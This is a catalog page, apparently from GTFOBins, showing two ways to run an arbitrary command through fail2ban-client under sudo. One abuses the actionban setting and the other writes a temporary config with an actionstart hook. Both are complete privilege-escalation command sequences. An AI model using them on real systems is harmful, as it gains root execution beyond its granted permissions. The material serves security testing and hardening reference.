CatalogGTFOBins

GTFO · Tool

fail2ban-client

2 techniquesLinuxGTFOBinsGPL-3.0

command

ExecutionPrivilege EscalationLinux

The subprocess is immediately sent to the background, but `fail2ban-client` waits on a return code from the subprocess. The `banip` command will hang until the subprocess returns.

fail2ban-client add x
fail2ban-client set x addaction x
fail2ban-client set x action x actionban /path/to/command
fail2ban-client start x
fail2ban-client set x banip 999.999.999.999
fail2ban-client set x unbanip 999.999.999.999
fail2ban-client stop x
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
command
MITRE
T1059

command

ExecutionPrivilege EscalationLinux
cat >/path/to/temp-dir/fail2ban.conf <<EOF
[Definition]
EOF

cat >/path/to/temp-dir/jail.local <<EOF
[x]
enabled = true
action = x
EOF

mkdir -p /path/to/temp-dir/action.d/
cat >/path/to/temp-dir/action.d/x.conf <<EOF
[Definition]
actionstart = /path/to/command
EOF

mkdir -p /path/to/temp-dir/filter.d/
cat >/path/to/temp-dir/filter.d/x.conf <<EOF
[Definition]
EOF

fail2ban-client -c /path/to/temp-dir/ -v restart
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
command
MITRE
T1059